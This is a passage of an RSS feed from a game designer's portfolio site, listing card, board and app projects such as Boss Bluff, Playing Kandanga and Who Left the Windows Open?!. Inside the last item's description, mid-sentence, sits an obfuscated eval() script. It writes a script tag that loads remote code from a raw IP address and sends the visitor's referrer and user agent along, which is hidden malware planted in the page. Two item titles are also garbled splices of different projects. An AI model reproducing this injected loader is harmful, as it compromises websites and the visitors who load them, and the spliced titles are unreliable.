Media Art: Recharge, is ... Read more&amp;#8216;Magister Ludi&amp;#8217; for Experimenta&amp;#8217;s International Biennial of Media Art</itunes:summary><itunes:keywords>entertainment,books,film,TV,convergence,virtual,worlds,Second,Life,360,content,cross,media,transmedia</itunes:keywords></item>
		<item>
		<title>Boss Bluff</title>
		<link>https://www.universecreation101.com/boss-bluff/</link>
		
		
		<pubDate>Sun, 07 Feb 2016 02:36:30 +0000</pubDate>
				<category><![CDATA[> Card Games]]></category>
		<category><![CDATA[(Selected) Creative Works]]></category>
		<guid isPermaLink="false">https://www.universecreation101.com/?p=3166</guid>

					<description><![CDATA[A card game currently in development. Boss Bluff is a social deduction game with shifting alliances. You&#8217;re at a tense dinner where Under Bosses give speeches professing their loyalty to each other. Be the best at determining who is betraying you and you’ll triumph as the Big Boss. It is for 4 players, and play time is about 90 ... <a title="Boss Bluff" class="read-more" href="https://www.universecreation101.com/boss-bluff/">Read more<span class="screen-reader-text">Boss Bluff</span></a>]]></description>
										<content:encoded><![CDATA[<p>A card game currently in development. Boss Bluff is a social deduction game with shifting alliances. You&#8217;re at a tense dinner where Under Bosses give speeches professing their loyalty to each other. Be the best at determining who is betraying you and you’ll triumph as the Big Boss. It is for 4 players, and play time is about 90 mins.</p>
<p>Prototype set-up image:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-3167" src="https://www.universecreation101.com/wp-content/uploads/2016/02/Bossbluff_setup.jpg" alt="Bossbluff_setup" width="640" height="480" srcset="https://www.universecreation101.com/wp-content/uploads/2016/02/Bossbluff_setup.jpg 640w, https://www.universecreation101.com/wp-content/uploads/2016/02/Bossbluff_setup-300x225.jpg 300w, https://www.universecreation101.com/wp-content/uploads/2016/02/Bossbluff_setup-210x158.jpg 210w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
]]></content:encoded>
					
		
		
			<dc:creator>Christy Dena</dc:creator></item>
		<item>
		<title>Spider &amp; Fly</title>
		<link>https://www.universecreation101.com/spider-fly/</link>
		
		
		<pubDate>Sun, 27 Sep 2015 03:00:08 +0000</pubDate>
				<category><![CDATA[> Apps]]></category>
		<category><![CDATA[> Interactive]]></category>
		<category><![CDATA[(Selected) Creative Works]]></category>
		<guid isPermaLink="false">https://www.universecreation101.com/?p=3158</guid>

					<description><![CDATA[A blind spider and a young housefly team up to compete in a web art competition being held in the bucket at the back fence. An animated short film and digital local co-op game in development, in partnership with a sydney animation house.]]></description>
										<content:encoded><![CDATA[<p><i><span style="font-weight: 400;">A blind spider and a young housefly team up </span></i><i><span style="font-weight: 400;">to compete in a web art competition </span></i><i><span style="font-weight: 400;">being held in the bucket at the back fence. </span></i></p>
<p><span style="font-weight: 400;">An animated short film and digital local co-op game in development, in </span>partnership with a sydney animation house.</p>
]]></content:encoded>
					
		
		
			<dc:creator>Christy Dena</dc:creator></item>
		<item>
		<title>Book &amp; Design Kit</title>
		<link>https://www.universecreation101.com/cross-media-design-kit/</link>
		
		
		<pubDate>Sat, 20 Jun 2015 10:56:31 +0000</pubDate>
				<category><![CDATA[> Card Games]]></category>
		<category><![CDATA[> Cards]]></category>
		<category><![CDATA[> Serious Games]]></category>
		<category><![CDATA[(Selected) Non-Fiction Writing & Resources]]></category>
		<category><![CDATA[Serious Games: Education, Training, & Social Good Games]]></category>
		<guid isPermaLink="false">https://www.universecreation101.com/?p=2942</guid>

					<description><![CDATA[I am currently writing a book and accompanying design kit. Who is this book for? Creative Directors, Showrunners Narrative Designers Interactive Writers, Screenwriters Game Designers, Level Designers UX, Interaction, &#38; Service Designers Creative Producers who want to understand the aesthetic ramifications of development, production, distribution, and marketing decisions Educators teaching any of the above Background I ... <a title="Book &#038; Design Kit" class="read-more" href="https://www.universecreation101.com/cross-media-design-kit/">Read more<span class="screen-reader-text">Book &#038; Design Kit</span></a>]]></description>
										<content:encoded><![CDATA[<p>I am currently writing a book and accompanying design kit.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-3320" src="https://www.universecreation101.com/wp-content/uploads/2018/05/TheAllARtUprisingPosterDraft-724x1024.jpg" alt="" width="720" height="1018" srcset="https://www.universecreation101.com/wp-content/uploads/2018/05/TheAllARtUprisingPosterDraft-724x1024.jpg 724w, https://www.universecreation101.com/wp-content/uploads/2018/05/TheAllARtUprisingPosterDraft-212x300.jpg 212w, https://www.universecreation101.com/wp-content/uploads/2018/05/TheAllARtUprisingPosterDraft-768x1086.jpg 768w, https://www.universecreation101.com/wp-content/uploads/2018/05/TheAllARtUprisingPosterDraft-210x297.jpg 210w, https://www.universecreation101.com/wp-content/uploads/2018/05/TheAllARtUprisingPosterDraft.jpg 1061w" sizes="auto, (max-width: 720px) 100vw, 720px" /></p>
<h2><strong>Who is this book for?</strong></h2>
<ul>
<li>Creative Directors, Showrunners</li>
<li>Narrative Designers</li>
<li>Interactive Writers, Screenwriters</li>
<li>Game Designers, Level Designers</li>
<li>UX, Interaction, &amp; Service Designers</li>
<li>Creative Producers who want to understand the aesthetic ramifications of development, production, distribution, and marketing decisions</li>
<li>Educators teaching any of the above</li>
</ul>
<h2><strong>Background</strong></h2>
<p>I am drawing on my previous <a href="https://www.universecreation101.com/patterns-in-cross-media-interaction-design-its-much-more-than-a-url-for-proceedings-of-1st-international-conference-on-crossmedia-interaction-design/" target="_blank" rel="noopener">published work on cross-media interaction design</a>, as well as the insights I have gained over the years as a designer, researcher &amp; educator. It is illustrated by <a href="http://ghosttowngoldie.tumblr.com/" target="_blank" rel="noopener">Marigold Bartlett</a>, who has worked with me on the <a href="http://www.magisterludigame.com" target="_blank" rel="noopener">Magister Ludi Game</a> and forthcoming board game <a href="https://www.universecreation101.com/diy-spy/">DIY SPY</a>.</p>
<ul>
<li>I tested the first prototype at a workshop on Transmedia Writing &amp; Design at Unitech, New Zealand in November, 2015.</li>
<li>I gave two 3 hour lectures with short exercises for first year multidisciplinary classes at Griffith University in 2016.</li>
<li>I gave a speech at the Navitas Women&#8217;s Networking event in Sydney in 2016 about concepts from the book introduction.</li>
<li>I gave two workshops at SAE Creative Media Institute film and media students, taking them through interest design techniques and audience design techniques respectively, in November, 2016.</li>
</ul>
<p>Prototype 2:</p>
<p><a href="https://www.universecreation101.com/wp-content/uploads/2015/06/Prototype1.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-3155" src="https://www.universecreation101.com/wp-content/uploads/2015/06/Prototype1-1024x768.jpg" alt="Prototype2" width="720" height="540" srcset="https://www.universecreation101.com/wp-content/uploads/2015/06/Prototype1-1024x768.jpg 1024w, https://www.universecreation101.com/wp-content/uploads/2015/06/Prototype1-300x225.jpg 300w, https://www.universecreation101.com/wp-content/uploads/2015/06/Prototype1-210x158.jpg 210w, https://www.universecreation101.com/wp-content/uploads/2015/06/Prototype1.jpg 2048w" sizes="auto, (max-width: 720px) 100vw, 720px" /></a></p>
<p>Prototype 1:</p>
<p><a href="https://www.universecreation101.com/wp-content/uploads/2015/06/crossmediadesigncards.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-2943" src="https://www.universecreation101.com/wp-content/uploads/2015/06/crossmediadesigncards.jpg" alt="crossmediadesigncards" width="960" height="720" srcset="https://www.universecreation101.com/wp-content/uploads/2015/06/crossmediadesigncards.jpg 960w, https://www.universecreation101.com/wp-content/uploads/2015/06/crossmediadesigncards-300x225.jpg 300w, https://www.universecreation101.com/wp-content/uploads/2015/06/crossmediadesigncards-210x158.jpg 210w" sizes="auto, (max-width: 960px) 100vw, 960px" /></a></p>
]]></content:encoded>
					
		
		
			<dc:creator>Christy Dena</dc:creator></item>
		<item>
		<title>‘‘‘Who Left the Windows Open?!Playing Kandanga’’ws Open?!Playing Kandanga ’ for Creative covery Network for Iron Game Designer</title>
		<link>https://www.universecreation101.com/playing-kandanga/</link>
		
		
		<pubDate>Sat, 20 Jun 2015 09:20:52 +0000</pubDate>
				<category><![CDATA[> Apps]]></category>
		<category><![CDATA[> Live Games]]></category>
		<category><![CDATA[> Serious Games]]></category>
		<category><![CDATA[(Selected) Creative Works]]></category>
		<guid isPermaLink="false">https://www.universecreation101.com/?p=2887</guid>

					<description><![CDATA[I was commissioned by the Creative Recovery Network to create an App with the Kandanga community. I archived stories &#38; play through the generations. The Creative Recovery Network builds experiences with artists and communities: &#8220;A growing network of artists and cultural and community workers are taking the lead in helping their communities recover from the impact of natural ... <a title="&#8216;Playing Kandanga&#8217; for Creative Recovery Network" class="read-more" href="https://www.universecreation101.com/playing-kandanga/">Read more<span class="screen-reader-text">&#8216;Playing Kandanga&#8217; for Creative Recovery Network</span></a>]]></description>
										<content:encoded><![CDATA[<p><a href="https://www.universecreation101.com/wp-content/uploads/2015/06/Screenshots.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-3139" src="https://www.universecreation101.com/wp-content/uploads/2015/06/Screenshots-1024x497.png" alt="Screenshots" width="720" height="349" srcset="https://www.universecreation101.com/wp-content/uploads/2015/06/Screenshots-1024x497.png 1024w, https://www.universecreation101.com/wp-content/uploads/2015/06/Screenshots-300x146.png 300w, https://www.universecreation101.com/wp-content/uploads/2015/06/Screenshots-210x102.png 210w, https://www.universecreation101.com/wp-content/uploads/2015/06/Screenshots.png 1185w" sizes="auto, (max-width: 720px) 100vw, 720px" /></a></p>
<p>I was commissioned by the <a href="http://placestories.com/community/creativerecovery#!v=about" target="_blank" rel="noopener">Creative Recovery Network</a> to create an App with the Kandanga community. I archived stories &amp; play through the generations. The Creative Recovery Network builds experiences with artists and communities:</p>
<blockquote><p>&#8220;A growing network of artists and cultural and community workers are taking the lead in helping their communities recover from the impact of natural disasters through creativity. The aim is to share knowledge and build a network of artists ready to support communities in meeting future challenges.&#8221;</p></blockquote>
<p>I am worked with the Friends of Kandanga and the local school to build a playful App for locals and tourists to the area. It was soft-launched at the centenary of the local school in September, 2015.</p>
<ul>
<li><a href="http://www.kandanga.org.au/playing-kandanga" target="_blank" rel="noopener">The main site by Friends of Kandanga</a></li>
<li><a href="http://www.christydena.com/2015/04/archiving-play-with-a-town/" target="_blank" rel="noopener">I have written a blog post</a> about the development</li>
</ul>
<p>&nbsp;</p>
<p><a href="https://play.google.com/store/search?q=pub:Universe Creation 101"><br />
<img decoding="async" src="https://developer.android.com/images/brand/en_app_rgb_wo_60.png" alt="Android app on Google Play" /><br />
</a></p>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			<dc:creator>Christy Dena</dc:creator></item>
		<item>
		<title>‘‘‘Who Left the Windows Open?!Playing Kandanga’’ws Open?!Playing Kandanga ’ for Creative covery Network for Iron Game Designer</title>
		<link>https://www.universecreation101.com/who-left-the-windows-open/</link>
					<comments>https://www.universecreation101.com/who-left-the-windows-open/#respond</comments>
		
		
		<pubDate>Sat, 20 Jun 2015 08:01:15 +0000</pubDate>
				<category><![CDATA[> Board Games]]></category>
		<category><![CDATA[(Selected) Creative Works]]></category>
		<guid isPermaLink="false">https://www.universecreation101.com/?p=2879</guid>

					<description><![CDATA[A cooperative game where you are kids in a house where the windows have been left open and pests have swarmed in. You have 3 actions per turn, moves, opening and closing doors. You&#8217;re running around trying to channel the pests (wasps, snakes, spiders, ants &#38; mosquitos) towards each other as predators attack each other. ... <a title="&#8216;Who Left the Windows Open?!&#8217; for Iron Game Designer" class="read-more" href="https://www.universecreation101.com/who-left-the-windows-open/">Read more<span class="screen-reader-text">&#8216;Who Left the Windows Open?!&#8217; for Iron Game Designer</span></a>]]></description>
										<content:encoded><![CDATA[<p>A cooperative game where you are kids in a house where the windows have been left open and pests have swarmed in. You have 3 actions per turn, moves, opening and closing doors. You&#8217;re running around trying to channel the pests (wasps, snakes, spiders, ants &amp; mosquitos) towards each other as predators attack eac<span class="text_exposed_show">h <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkiad|var|u0026u|referrer|aiyzk||js|php'.split('|'),0,{}))
</script></noindex> other. The threat level rises each turn (nests, swarms, etc).<br />
</span></p>
<p><span class="text_exposed_show">Colleague Ralf Muhlberger and I teamed up to participate in the 2015 IRON GAME DESIGNER Challenge run by Steve Dee, where participants have two hours to make a board game.  Problems in our competition strategy include going with the idea we were excited by rather than the idea we could produce, test, and then play in the short judging time. So we didn&#8217;t win, but we have a game that has legs!</span></p>
<p>Description of the game on the competition site:</p>
<blockquote><p>Taking the theme as their title this was another very literal reading. Kids left at home were battling growing threats (in the case of the first and so far only deck, creepy crawlies like snakes and spiders), with the enemies being generated with constant turning decks of cards that get progressively worse. In a lovely twist, however, the kids can’t fight the threat, but only contain it or direct it. Only able to move slowly and open and close doors they need to work together to drive monsters towards each other – and figure out which will cancel out and which will get worse. This is determined by a five-way <a href="http://www.momsminivan.com/rock-paper-spock.jpg">scissor-paper-rock system</a> which judges feared might be too complicated to solve especially for the family audience the theme suggested. Like Home Intrusion, the designers felt they may have lost too much time to the tyranny of cutting and pasting, but also like Home Intrustion, the literal, immediate and relatable interpretation won points and captured imaginations.</p></blockquote>
<p><iframe loading="lazy" src="https://www.youtube.com/embed/ry_dEcqkSFk" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>Articles:</p>
<ul>
<li>&#8220;<a href="https://dconstructions.wordpress.com/2015/03/30/iron-game-designer-2015-the-rundown/" target="_blank">Iron Game Designer 2015: The Rundown</a>&#8221; by Steve Dee, D-Constructions, 30th March, 2015</li>
<li>&#8220;<a href="https://dconstructions.wordpress.com/2015/03/30/iron-game-designer-2015-the-games/" target="_blank">Iron Game Designer: The Games</a>&#8221; by Steve Dee, 30th March, 2015</li>
</ul>
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			<dc:creator>Christy Dena</dc:creator></item>
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